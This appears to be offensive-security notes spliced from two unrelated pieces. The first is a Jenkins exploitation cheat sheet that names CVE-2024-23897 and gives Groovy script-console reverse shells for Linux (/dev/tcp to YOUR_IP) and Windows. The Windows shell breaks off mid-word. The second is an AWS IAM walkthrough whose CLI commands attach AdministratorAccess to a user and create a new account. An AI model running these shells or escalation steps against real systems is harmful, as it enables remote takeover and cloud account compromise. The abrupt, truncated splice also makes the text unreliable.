Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Most of the attacks targeting AWS are based on exploiting the extensive permissions attached to the roles/accounts. This can be considered as a mis-configuration because the administrator was not following the principle of least privilege while creating roles and permissions.
Assume a scenario, Where there is a user in AWS who has the permission to attach user policy. The same user can elevate the privilege because it has the access to attach policies in to it. The user can even gain administrative privileges by exploiting this mis-configuration.
The user can search for the ARN for the Administrator role and can try to attach the role to the same user.
First list the permission for the user,
aws iam list-attached-user-policies --user-name USER1
Note down the policy ARN. And do more research on it , in search of any overly permissive permissions.
aws iam get-policy --policy-arn arn:aws:iam::11223344556:policy/Service
Look for the currently using policy version.
Once we identified the policy version, get the policy profile.
aws iam get-policy-version --policy-arn arn:aws:iam::
11223344556:policy/Service --version-id v1
From the policy, we can see that the user is having the privilege to attach policies to the user. See the Action and Resource statements.
Since we have the permission to attach policies, lets Search for the ARN of the AdministratorAccess Policy and attach it to the user.
aws iam list-policies | grep 'AdministratorAccess'
Now attach the AdministratorAccess policy to the user
aws iam attach-user-policy --user-name USER1 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Verify the action by listing the attached policies to the user.
aws iam list-attached-user-policies --user-name USER1
The policy has been successfully attached and now test your administrative privileges by creating a new user. That how a normal user can elevate it's permission due to the mis-configuration in the role. That's it.
aws iam create-user --user-name USER2